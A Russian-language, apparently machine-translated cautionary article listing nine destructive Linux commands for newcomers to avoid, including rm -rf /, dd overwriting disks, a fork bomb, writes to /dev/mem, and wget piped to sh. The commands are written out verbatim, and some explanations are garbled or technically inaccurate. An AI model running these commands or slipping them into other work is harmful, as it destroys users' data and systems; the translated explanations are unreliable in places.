Linux

9 Смертельных Linux-команд, которые вы никогда не должны выполнять

9 Смертельных Linux-команд, которые вы никогда не должны выполнять

Linux может быть обоюдоострым мечом. Это предполагает, что вы знаете, что вы делаете, и дает вам свободу делать все, что вы хотите. Это не будет спрашивать вас. Это удобно, когда вы действительно знаете, что делаете, но это также означает, что вы можете сделать свою систему непригодной для использования в считанные секунды.

Новичок в командной строке Linux? Не стоит беспокоиться. Начните с нашего краткого руководства по началу работы с терминалом Linux. вместе с этими 40 основными командами Linux . С этими двумя ресурсами вы быстро ознакомитесь с командной строкой.

Но будь вы новичок в Linux или ветеран, вы никогда не должны запускать команду, если не знаете точно, что она делает. Вот некоторые из самых смертоносных команд Linux, которых вы, по большей части, хотите избежать.

Удалить рекурсивно

Возможность Linux удалить все, что вы хотите без вопросов, — это находка, особенно после многих лет ошибок «Этот файл нельзя удалить» в Windows. Но интернет-тролли будут быстро обманывать вас, предоставляя вам чрезвычайно опасные команды удаления, которые могут стереть все жесткие диски.

rm -rf / 

Эта строка выполняет команду удаления rm с двумя переключателями: -r, который вызывает рекурсивное удаление через все подкаталоги, и -f, который вызывает удаление файлов, доступных только для чтения, без подтверждения. Команда выполняется в каталоге / root, по сути, стирая всю вашу систему.

Обратите внимание, что в наши дни на большинстве систем Linux, если вы попытаетесь это сделать, вы получите предупреждение. Но предупреждение не гарантировано, так что просто не делайте этого.

Формат жесткого диска

Терминал особенно сложен для новичков в Linux, потому что он предоставляет несколько способов случайно стереть жесткий диск. Рекурсивное удаление является большим, но вот другое:

 mkfs.ext3 /dev/hda 

Эта команда форматирует жесткий диск для использования файловой системы ext3. Форматирование диска отформатировать диск — это не вредоносное действие по своей сути, но оно «сбрасывает» диск так, что он «как новый». Другими словами, отформатированный жесткий диск похож на чистый лист.

Форматирование полезно для разделов диска и внешних накопителей, но его выполнение на всем жестком диске (например, / dev / hda ) опасно и может привести вашу систему в неустранимое состояние.

Перезаписать жесткий диск

Как будто случайное форматирование диска не было достаточно плохим, возможно перезаписать ваш жесткий диск, используя необработанные данные. По крайней мере, форматирование диска — это актуальная процедура с реальным использованием; с другой стороны, непосредственная перезапись диска не так уж и хороша.

 command > /dev/hda 

В приведенной выше команде команду можно заменить любой командой Bash. Оператор > перенаправляет вывод команды слева в файл справа. В этом случае не имеет значения, что является выводом левой команды. Эти необработанные данные перенаправляются и используются для перезаписи системного жесткого диска.

Как вы можете себе представить, это делает его бесполезным.

Протрите жесткий диск

Вот еще один способ разрушить вашу систему. На этот раз команда полностью обнулит ваш жесткий диск. Нет повреждения или перезаписи данных; это буквально заполнит ваш жесткий диск нулями. Жесткий диск больше не стирается.

 dd if=/dev/zero of=/dev/hda 

Команда dd — это низкоуровневая инструкция, которая в основном используется для записи данных на физические диски. Параметр if определяет источник данных, который в данном случае является / dev / zero , специальным для Linux, который создает бесконечный поток нулей. Параметр параметра определяет назначение этих нулей, которое является диском / dev / hda .

Да, есть законные причины для обнуления диска, но если вы не знаете, каковы эти причины, то вам нужно держаться подальше от этой команды.

Взорвать жесткий диск

Если вы устали слышать способы сломать ваш жесткий диск, подождите. Вот еще один для вас. В Linux существует специальный файл / dev / null , который отбрасывает любые данные, которые в него записываются. Вы можете думать об этом как о черной дыре или уничтожителе файлов: все, что было дано ему в качестве ввода, будет съедено навсегда.

 mv / /dev/null 

Можете ли вы обнаружить опасность здесь? Команда mv пытается переместить корневой каталог системы / в черную дыру / dev / null . Это правильная команда, и результат ужасен: жесткий диск съедается, и ничего не остается. Это сделает вашу систему непригодной для использования.

Причина паники ядра

Windows имеет свой печально известный синий экран смерти И, несмотря на распространяющиеся мифы, Linux не является совершенно безопасной системой. Иногда возникает внутренняя ошибка, из-за которой восстановление невозможно, поэтому система выдаст нечто похожее на «синий экран»: паника ядра .

 dd if=/dev/random of=/dev/port echo 1 > /proc/sys/kernel/panic cat /dev/port cat /dev/zero > /dev/mem 

Сложности вышеперечисленных команд здесь не важны. Важно то, что выполнение любой из этих строк приведет к панике ядра, заставив вас перезагрузить систему. Лучше держаться подальше от этих команд, если вы не уверены, что знаете, что делаете.

Вилка Бомба

Bash — это язык терминала и это мощно. Он не только может запускать команды, но также может запускать функции, что облегчает написание сценариев, которые могут автоматизировать системные задачи. К сожалению, функции не приходят без собственного набора рисков.

 :(){:|:&};: 

Эта непонятная команда называется вилочной бомбой , которая представляет собой особый тип паники ядра. Он определяет функцию с именем : которая рекурсивно вызывает себя дважды при выполнении. Один из рекурсивных вызовов происходит на переднем плане, а другой — на заднем плане.

Другими словами, всякий раз, когда эта функция выполняется, она порождает два дочерних процесса. Эти дочерние процессы порождают свои собственные дочерние процессы, и этот цикл продолжает бесконечный цикл. Единственный выход из этого — перезагрузить систему.

Выполнить удаленный скрипт

Вот невинная команда, которая действительно может быть полезна в повседневной жизни в системе Linux. wget извлекает содержимое веб-URL, который можно использовать для доступа к веб-сайтам или загрузки файлов. Однако есть простой трюк, который делает его опасным:

 wget http://an-untrusted-url -O- | sh 

Приведенная выше комбинация загружает содержимое данного URL-адреса и сразу передает его команде sh , которая выполняет загруженное содержимое в терминале. Если бы URL указывал на вредоносный скрипт, вы бы запутали свою судьбу этой командой.

Отключить права root-команд

Эта последняя команда проста. Он использует обычно используемую команду rm для отключения двух наиболее важных команд в Linux: sudo и su . Короче говоря, эти два позволяют вам запускать другие команды с правами root. Без них жизнь в Linux была бы несчастной.

 rm -f /usr/bin/sudo;rm -f /bin/su 

Вот почему вы не должны запускать эту команду. Он принудительно удаляет обе команды из вашей системы без какого-либо подтверждения, оставляя вас в затруднительном положении. Существуют способы восстановления того, что вы удалили , но это не всегда просто и не будет приятно.

Пожалуйста, будь осторожен! Не бойтесь играть с Linux и терминал командной строки, но в то же время проводите исследования и никогда ничего не выполняйте, если вы не абсолютно уверены в том, что они делают. Если кто-то говорит вам «попробовать эту команду», всегда проверяйте ее дважды и трижды.

Вы когда-нибудь управляли разрушительной командой? Что произошло? Кто-то обманул тебя? Поделитесь своими мыслями и опытом с нами в комментариях!

Похожие посты
Linux

8 лучших окружений рабочего стола Linux

AndroidIphone и ipadLinuxWindows

Окончательное руководство по включению темного режима везде

LinuxКак сделать

Что такое Swappiness в Linux? (и как это изменить)

LinuxКак сделать

Как использовать команду ls для вывода списка файлов и каталогов в Linux